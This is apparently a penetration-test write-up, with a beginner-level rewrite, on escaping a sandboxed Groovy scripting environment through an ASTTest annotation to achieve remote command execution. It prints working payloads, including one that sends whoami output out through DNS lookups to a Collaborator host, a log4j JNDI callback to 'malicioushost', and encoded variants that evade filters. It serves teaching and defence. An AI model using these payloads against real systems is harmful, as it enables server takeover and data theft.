Groovy Template Engine Exploitation – Notes from a real case scenario
A sandboxed Groovy scripting environment was intended to block dangerous operations, but an attacker could bypass the sandbox using a Groovy AST transformation annotation, achieving remote command execution. The bypass worked despite a Security Manager and other server-side checks.
Published on security.humanativaspa.it
In one of our last penetration testing engagements for a customer, the target application allowed specific users to use a sandboxed Groovy scripting environment in order to populate some areas of the application with dynamic content. Since the same application had already undergone testing by a competitor, the…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Java web applications are still common in enterprise environments, and they often bring with them opportunities for remote command execution. Template engines and expression languages with capable features, such as Groovy and Velocity, are usually a good place to start looking for this kind of vulnerability.
During a penetration testing engagement, the target application allowed specific users to use a sandboxed Groovy scripting environment to populate some areas of the application with dynamic content. The same application had already been tested by a competitor, so the capabilities of the Groovy shell were limited by server-side checks, and the attack vectors commonly used to achieve an easy remote command execution were blocked, resulting in a generic Java exception.
Setup
The report does not describe the accounts, roles or tool versions used, beyond the BurpSuite Collaborator server. The testing was carried out against a customer application that exposed a sandboxed Groovy scripting environment to specific users. The researcher used BurpSuite's Collaborator server to confirm out-of-band command execution. The application had previously been tested by a competitor, which is why the obvious vectors were already blocked.
Finding it
The first attempts were the usual ones. Neither of these worked:
"calc.exe".exec()
"calc.exe".execute()
Nor did these:
java.lang.Runtime.getRuntime().exec("calc")
this.evaluate("'calc'.execute()")
So the researcher tried something more complex with reflection, also attempting to access local files in addition to the usual RCE:
"aaa".getClass().forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("calc.exe")
this.getClass().forName("java.io.File").getDeclaredMethods()[35].invoke(this.getClass().forName("java.io.File").getDeclaredConstructors()[5].newInstance("C:\\windows\\"))
These were blocked too. Everything appeared blocked, including straightforward ways to access local files or web resources:
new File('c:/windows/win.ini').text
new URL("http://www.google.com").getText()
Most further ideas required instantiating new objects, and after more than a couple of tries the researcher realised that no new object could be instantiated at all, not just the dangerous ones. The new keyword was effectively unavailable, so another way to obtain the needed objects had to be found.
The next step was to investigate which objects were accessible from the scripting environment, since in this kind of environment the script context often has access to objects that leak information about backend resources. Examples tested were:
println "${Script.properties}"
println "${this.properties}"
println "${GroovyShell.properties}"
and:
println System.getProperty("user.name")
println System.getProperty("java.home")
println System.getProperty("java.runtime.version")
The researcher then looked for already-instantiated objects reachable from the context, starting with any java.lang.File objects that might expose configuration files, and ideally a ClassLoader object that could load an arbitrary class. Nothing useful enough for RCE or file read/write was found, apart from some information about the underlying system.
The tests were not wasted, however: they showed that what blocked the payloads was a well-configured Security Manager, not ad-hoc backend checks on blacklisted inputs.
Exploitation
Step 1: finding a bypass for the Security Manager
A way around the Security Manager was needed. After research, the researcher found a StackOverflow thread on preventing or disabling AST transformations in Groovy scripts, and the GitHub repository it referenced (welk1n/exploiting-groovy-in-Java). The suggested payload looked promising because it used very basic Groovy syntax and did not require any exotic library:
@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x

As is, the payload did not work in this specific scenario because it required an import, which was easily fixed with import groovy.*;. With that, the sandbox was bypassed.
Step 2: confirming execution out of band
The output of the command could not be read directly, so the researcher confirmed remote command execution through DNS resolution using the BurpSuite Collaborator server:
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
Step 3: exfiltrating command output
To retrieve the output of injected commands through the out-of-band channel in this limited scenario, the researcher used the following payload, which runs whoami, strips everything except alphanumerics from the result, and embeds it as a subdomain of the Collaborator host in a ping:
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
Step 4: a variant without Java annotations
A variation of the previous payload avoids Java annotations, for cases where they cannot be used, but it requires instantiating new objects:
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
Step 5: other possible paths
Many other ways to reach the same result may exist, depending on what the scripting engine allows and which libraries are present. As an example of the latter, if the log4j library is present, an RCE attempt could use a payload like the following, which the report notes was not tested and may contain errors:
org.apache.log4j.Logger.getLogger(this.getClass()).info("${jndi:ldap://malicioushost/a}"
Root cause
The scripting environment relied on a Security Manager to block dangerous operations, and the researcher found that it was well configured: direct Runtime.exec, reflection-based invocation, file and URL access, and object instantiation were all blocked. The report does not state the exact mechanism by which the Security Manager was evaded, only that the payload bypassed the sandbox once the missing import was added.
The report also notes that the answer to the referenced StackOverflow question, proposed as a fix, does not work, because controls of that kind can almost always be bypassed with encoding:
this.evaluate(new String(java.util.Base64.getDecoder().decode("[redacted]==")))
and even without string literals:
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Impact
An attacker able to reach the sandboxed Groovy scripting environment, in this case a user authorised to populate areas of the application with dynamic content, could bypass the sandbox and execute arbitrary commands on the server. In the tested scenario the command output could not be read directly, so it was exfiltrated through DNS resolution to an external Collaborator host.
Fix
Because it is very hard to prevent every possible attack vector, the report states that the safest solution is to remove the Groovy scripting engine. If that is not possible, a less radical approach is to run the scripting engine on a different system, such as a sandboxed OS or a Docker container.
Variants to test
- Try the
@groovy.transform.ASTTestpayload withimport groovy.*;in any Groovy evaluation context. A positive result is command execution, which can be confirmed with a DNS lookup to a Collaborator-style host. - If annotations are unavailable, try the
GroovyClassLoader().parseClass(...)variant. A positive result is the same out-of-band confirmation. - If log4j is present, try the JNDI payload against a controlled LDAP host. A positive result is a callback to that host.
- Test whether proposed blacklist or encoding-based fixes can be bypassed with Base64 or byte-array decoding of the payload. A positive result is execution despite the control.
- Enumerate accessible objects in the script context (
Script.properties,this.properties,GroovyShell.properties, system properties) to look for file handles or class loaders. A positive result is a reachable object that allows file access or class loading.
What happened, in plain words
A security tester was hired to break into a company's web application, with permission, to find weaknesses before real attackers do. This kind of job is called a penetration test. The application let certain logged-in users write small programs in a language called Groovy to fill parts of the site with dynamic content. Groovy is a programming language that runs on the Java platform, and Java is a very common technology for building large business websites.
Writing code that the server will run is a powerful feature, and powerful features are exactly where attackers look first. If you can get the server to run code you wrote, you can often get it to run commands on the underlying computer, which is called remote command execution (RCE). That is a serious outcome: the attacker can run commands on the server.
The company had already paid another security firm to test the application, so the obvious tricks were already blocked. The tester had to be creative, and eventually found a way around the protections. This article walks through that journey from the beginning, explaining each idea as it comes up.
The setting: Java, Groovy and sandboxes
Before the details, three ideas need explaining.
Java is a programming language and a runtime environment. When you visit a big company website, the server behind it very often runs Java code. Java programs can do almost anything on the machine they run on: read files, open network connections, start other programs.
Groovy is a language that runs on top of Java. It is friendlier to write than Java and is often embedded inside Java applications so that users or administrators can add small bits of logic without rebuilding the whole application. A template engine is a related idea: a tool that takes a template (a page with blanks in it) and fills the blanks with data. Groovy and another engine called Velocity are examples of tools that process such templates and expressions.
Sandboxing is the idea of letting code run but taking away its dangerous abilities, like letting a child play in a fenced garden: they can move around freely, but they cannot reach the road. In Java, the traditional tool for this is called the Security Manager. It is a component that checks each sensitive operation a program tries to perform and refuses the ones that are not allowed.
The application in this test gave specific users a sandboxed Groovy environment so they could populate some areas of the site with dynamic content. Because a competitor had already tested the application, the Groovy shell's abilities had been limited by server-side checks, and the usual ways to get an easy RCE were blocked, producing a generic Java exception (an error message).
Setup
The report does not describe the accounts, roles or tool versions used, beyond the BurpSuite Collaborator server. The testing was carried out against a customer application that exposed a sandboxed Groovy scripting environment to specific users. The tester used BurpSuite's Collaborator server to confirm that commands were executed. BurpSuite is a popular tool for testing web applications; its Collaborator feature gives the tester a special domain name that they control, so that if the target server ever tries to contact that domain, the tester sees the contact arrive. It is like leaving a marked envelope with your address on it: if it comes back to you, you know someone posted it.
Finding it: the obvious attempts
The first attempts were the usual ones. In Groovy, a string of text like "calc.exe" can be treated as if it were a command, and the language offers shortcuts to run it. Neither of these worked:
"calc.exe".exec()
"calc.exe".execute()
Line by line:
"calc.exe".exec()takes the textcalc.exe(the Windows calculator program) and asks Groovy to run it as a command."calc.exe".execute()is a near-identical shortcut with a different name.
Neither worked, which told the tester that the simplest door was locked.
Nor did these:
java.lang.Runtime.getRuntime().exec("calc")
this.evaluate("'calc'.execute()")
Line by line:
java.lang.Runtime.getRuntime()asks Java for its built-in runtime object, the part of Java that can start other programs..exec("calc")then asks it to run the calculator.this.evaluate("'calc'.execute()")asks the current script to evaluate a piece of text as code, and that text itself tries to run the calculator. This is a way of sneaking code in as data.
Both were blocked. So the tester tried something more complex, using a technique called reflection. Reflection is a Java feature that lets a program inspect and manipulate other parts of itself at runtime: list a class's methods, pick one by number, and call it. It is like being able to open the bonnet of a car and press any lever you find, rather than only the pedals the manufacturer put on the floor. The tester also tried to read local files, not just run commands:
"aaa".getClass().forName("java.lang.Runtime").getDeclaredMethods()[15].invoke("calc.exe")
this.getClass().forName("java.io.File").getDeclaredMethods()[35].invoke(this.getClass().forName("java.io.File").getDeclaredConstructors()[5].newInstance("C:\\windows\\"))
Line by line:
"aaa".getClass()gets the class (the blueprint) of the text"aaa"..forName("java.lang.Runtime")then looks up a different class by name: Java's runtime class, the one that can start programs..getDeclaredMethods()[15]lists that class's methods and picks the sixteenth one (counting starts at zero)..invoke("calc.exe")calls that method with the calculator as its argument.- The second line does the same trick with the class
java.io.File, which represents a file on disk. It picks a constructor (a way of creating a new object) by number, creates a File object pointing atC:\windows\, then picks a method by number and calls it on that object.
These were blocked too. Everything appeared blocked, including straightforward ways to access local files or web resources:
new File('c:/windows/win.ini').text
new URL("http://www.google.com").getText()
Line by line:
new File('c:/windows/win.ini')creates an object representing the Windows configuration filewin.ini, and.textasks for its contents as text.new URL("http://www.google.com")creates an object representing a web address, and.getText()fetches the page and returns it as text.
Most further ideas required creating new objects, and after more than a couple of tries the tester realised that no new object could be created at all, not just the dangerous ones. In Java and Groovy, the new keyword is how you create an object. If new is unavailable, a huge range of techniques simply cannot be tried. Another way to obtain the needed objects had to be found.
Looking around: what can the script see?
The next step was to investigate which objects were already reachable from the scripting environment. In this kind of environment, the script's context often has access to objects that leak information about backend resources. Think of it as being locked in a room: you cannot bring anything in, but you can look at what is already on the shelves. Examples tested were:
println "${Script.properties}"
println "${this.properties}"
println "${GroovyShell.properties}"
Line by line:
printlnprints something to the output."${Script.properties}"is a Groovy string with a placeholder: the${...}part is replaced by the value ofScript.properties, which lists the properties (settings and attributes) of the Script object."${this.properties}"does the same for the current script object itself."${GroovyShell.properties}"does the same for the GroovyShell object, the component that runs Groovy code.
and:
println System.getProperty("user.name")
println System.getProperty("java.home")
println System.getProperty("java.runtime.version")
Line by line:
System.getProperty("user.name")asks Java for the name of the user account the server runs as.System.getProperty("java.home")asks where Java is installed on the machine.System.getProperty("java.runtime.version")asks which version of Java is running.
These questions tell an attacker some information about the machine: who it runs as, where things live, which version is installed. The tester then looked for already-created objects reachable from the context, starting with any java.lang.File objects that might expose configuration files, and ideally a ClassLoader object. A ClassLoader is the part of Java that loads classes into memory; if an attacker can reach one, they may be able to load a class of their own choosing, which is a big step towards running arbitrary code. Nothing useful enough for RCE or file read/write was found, apart from some information about the underlying system.
The tests were not wasted, however. They showed that what blocked the payloads was a well-configured Security Manager, not ad-hoc backend checks on blacklisted inputs. That distinction matters: a blacklist is a list of forbidden words, and it can be dodged by writing the same thing differently. A Security Manager is a general guard that checks what an operation actually does, rather than matching words. Knowing which one you face changes your strategy.
Exploitation
Step 1: finding a bypass for the Security Manager
A way around the Security Manager was needed. After research, the tester found a StackOverflow thread (a public question-and-answer site for programmers) about preventing or disabling AST transformations in Groovy scripts, and the GitHub repository it referenced (welk1n/exploiting-groovy-in-Java). GitHub is a website where people publish code; a repository is a project folder.
The suggested payload looked promising because it used very basic Groovy syntax and did not require any exotic library:
@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x
Line by line:
@groovy.transform.ASTTest(...)is an annotation, a label you attach to code. This particular annotation tells Groovy: when you compile this script, run the code insidevalue={...}as a test. The key word is compile: this happens while the script is being turned into something runnable, before the normal script execution begins.assert java.lang.Runtime.getRuntime().exec("whoami")is the code that runs.whoamiis a command that prints the current user's name.assertchecks that the result is true.def xdeclares a variable namedxwith no value. It exists only so the annotation has something to attach to.

The image is a reaction meme used in the write-up at the moment the bypass is found, after the long search for a way around the Security Manager.
As is, the payload did not work in this specific scenario because it required an import, which was easily fixed with import groovy.*;. An import tells the language where to find names it does not recognise, like a directory lookup. With that line added, the sandbox was bypassed.
Step 2: confirming execution out of band
The output of the command could not be read directly, so the tester confirmed remote command execution through DNS resolution using the BurpSuite Collaborator server. DNS is the internet's address book: when any computer wants to reach a name like example.com, it asks a DNS server to translate that name into an address. If the target server can be made to look up a name the tester controls, the lookup itself proves the server ran the command. This is called out-of-band confirmation, because the proof travels on a different channel from the one the tester is using.
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
Line by line:
import groovy.*;makes Groovy's own classes available by their short names.@groovy.transform.ASTTest(value={ ... })is the same annotation as before: run the block at compile time.cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "builds a command that asks the machine to ping a Collaborator hostname.pingis a standard command that sends a small network message to a host and waits for a reply. The trailing space matters because of the next line.cmd.split(" ")splits the command text into a list of words, becauseexecexpects the program name and its arguments as separate items.assert java.lang.Runtime.getRuntime().exec(...)runs the command.def xis again just a placeholder for the annotation.
If the Collaborator server saw the ping arrive, the tester knew the server had run their command.
Step 3: exfiltrating command output
To retrieve the output of injected commands through the out-of-band channel in this limited scenario, the tester used the following payload, which runs whoami, strips everything except letters and digits from the result, and embeds it as a subdomain of the Collaborator host in a ping:
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
Line by line:
cmd = "whoami";sets the command to run:whoami, which prints the current user's name.java.lang.Runtime.getRuntime().exec(cmd.split(" "))runs it..getInputStream()gives a stream from which the command's output can be read, like a pipe carrying the result back.new java.util.Scanner(...)wraps that stream in a Scanner, a helper that reads text..useDelimiter("\\A")tells it to treat the whole input as one piece (the pattern\Ameans the very beginning of the text)..next()reads that piece.outnow holds the command's output, for example the username.out.replaceAll("[^a-zA-Z0-9]","")removes every character that is not a letter or a digit. This is necessary because a hostname can only contain certain characters; a username with a backslash or a space would break the lookup.cmd2 = "ping " + ... + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";builds a ping command whose target is the cleaned-up output followed by the Collaborator domain. So if the user isadmin, the server looks upadmin.cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net.java.lang.Runtime.getRuntime().exec(cmd2.split(" "))runs the ping.def xis the placeholder again.
When the lookup arrives at the Collaborator server, the tester reads the subdomain and thereby reads the command's output. The data was smuggled out through the address book.
Step 4: a variant without Java annotations
A variation of the previous payload avoids Java annotations, for cases where they cannot be used, but it requires creating new objects:
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
Line by line:
new groovy.lang.GroovyClassLoader()creates a Groovy class loader, the component that turns Groovy source text into a runnable class..parseClass("...")hands it a piece of source code as a string and asks it to compile that code into a class. The string contains the same@groovy.transform.ASTTestpayload as before, with the inner quotes escaped as\"so they survive inside the outer string.
This variant avoids Java annotations but requires instantiating new objects, which the report says was not possible in the tested scenario.
Step 5: other possible paths
Many other ways to reach the same result may exist, depending on what the scripting engine allows and which libraries are present. As an example of the latter, if the log4j library is present, an RCE attempt could use a payload like the following, which the report notes was not tested and may contain errors:
org.apache.log4j.Logger.getLogger(this.getClass()).info("${jndi:ldap://malicioushost/a}"
Line by line:
org.apache.log4j.Logger.getLogger(this.getClass())gets a logger, the part of the log4j library that writes log messages. Log4j is a very widely used Java library for logging..info("...")writes an informational log message. The message contains${jndi:ldap://malicioushost/a}, a special syntax that log4j versions with the JNDI feature would interpret: JNDI is a Java naming service, and LDAP is a directory protocol. The idea is that log4j would contact the attacker's LDAP server, which could then lead to code execution.
Root cause
The scripting environment relied on a Security Manager to block dangerous operations, and the tester found that it was well configured: direct Runtime.exec, reflection-based invocation, file and URL access, and object creation were all blocked. An AST is the abstract syntax tree, the internal tree-shaped representation a compiler builds from your source code; an AST transformation is a step that rewrites or adds to that tree before the code runs. The report does not state the exact mechanism by which the Security Manager was evaded, only that the payload bypassed the sandbox once the missing import was added.
The report also notes that the answer to the referenced StackOverflow question, proposed as a fix, does not work, because controls of that kind can almost always be bypassed with encoding. Encoding means writing the same information in a different form, such as Base64 (a way of representing bytes as letters and digits) or a list of byte values. A filter that looks for forbidden words in the text will not recognise the forbidden word once it has been encoded.
this.evaluate(new String(java.util.Base64.getDecoder().decode("[redacted]==")))
Line by line:
java.util.Base64.getDecoder().decode("...")takes the long string of letters and digits and turns it back into the original bytes. Those bytes spell out the@groovy.transform.ASTTestpayload that runsid.new String(...)turns those bytes into text.this.evaluate(...)asks the script to evaluate that text as code.
and even without string literals:
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
Line by line:
new byte[]{64, 103, ...}is a list of numbers, each one the numeric value of a character. Together they spell the same payload.new String(...)turns those numbers into text.this.evaluate(...)evaluates that text as code.
Both variants show that a filter looking for the literal text of the payload can be defeated without changing what the payload does.
Impact
An attacker able to reach the sandboxed Groovy scripting environment, in this case a user authorised to populate areas of the application with dynamic content, could bypass the sandbox and execute arbitrary commands on the server. In the tested scenario the command output could not be read directly, so it was sent out through DNS lookups to an external Collaborator host.
Fix
Because it is very hard to prevent every possible attack vector, the report states that the safest solution is to remove the Groovy scripting engine. If that is not possible, a less radical approach is to run the scripting engine on a different system, such as a sandboxed OS or a Docker container. A Docker container is an isolated environment that shares the machine but cannot easily reach beyond its own boundaries, like a separate room with its own locked door.
Variants to test
- Try the
@groovy.transform.ASTTestpayload withimport groovy.*;in any Groovy evaluation context. A positive result is command execution, which can be confirmed with a DNS lookup to a Collaborator-style host. - If annotations are unavailable, try the
GroovyClassLoader().parseClass(...)variant. A positive result is the same out-of-band confirmation. - If log4j is present, try the JNDI payload against a controlled LDAP host. A positive result is a callback to that host.
- Test whether proposed blacklist or encoding-based fixes can be bypassed with Base64 or byte-array decoding of the payload. A positive result is execution despite the control.
- Enumerate accessible objects in the script context (
Script.properties,this.properties,GroovyShell.properties, system properties) to look for file handles or class loaders. A positive result is a reachable object that allows file access or class loading.
Glossary
- Annotation: a label attached to code that gives the compiler or runtime extra instructions about it.
- AST (abstract syntax tree): the tree-shaped internal representation a compiler builds from source code.
- AST transformation: a step that rewrites or adds to the AST before the code runs.
- Base64: a way of representing binary data using letters, digits and a few symbols.
- Blacklist: a list of forbidden words or patterns that a filter blocks.
- BurpSuite: a popular tool for testing web applications.
- Class: a blueprint in object-oriented programming that describes objects and their behaviour.
- ClassLoader: the part of Java that loads classes into memory.
- Collaborator server: a BurpSuite feature that gives the tester a domain they control, so they can see when a target contacts it.
- Compile time: the stage when source code is turned into something runnable, before execution.
- Constructor: the code that creates a new object.
- DNS: the internet's address book, translating names into addresses.
- Docker container: an isolated environment that runs software separately from the rest of the machine.
- Encoding: writing the same information in a different form.
- Exfiltration: getting data out of a target, often through a side channel.
- GitHub: a website where people publish and share code.
- Groovy: a programming language that runs on the Java platform.
- Import: a statement that tells the language where to find names it does not recognise.
- Java: a programming language and runtime environment widely used for business applications.
- JNDI: a Java naming service for looking up resources by name.
- LDAP: a directory protocol often used to look up users and other records.
- Log4j: a widely used Java library for writing log messages.
- Object: an instance of a class, a concrete thing created from a blueprint.
- Out-of-band: confirmation that travels on a different channel from the main one.
- Penetration test: an authorised attempt to break into a system to find weaknesses.
- Ping: a standard command that sends a small network message to a host and waits for a reply.
- Reflection: a Java feature that lets a program inspect and manipulate its own classes and methods at runtime.
- Remote command execution (RCE): running commands of your choosing on someone else's server.
- Repository: a project folder, often hosted on a site like GitHub.
- Sandbox: an environment that lets code run but takes away its dangerous abilities.
- Security Manager: a Java component that checks sensitive operations and refuses the ones that are not allowed.
- Server-side: happening on the server, not in the visitor's browser.
- StackOverflow: a public question-and-answer site for programmers.
- Template engine: a tool that fills a template with data to produce output.
- Velocity: a template engine often used in Java applications.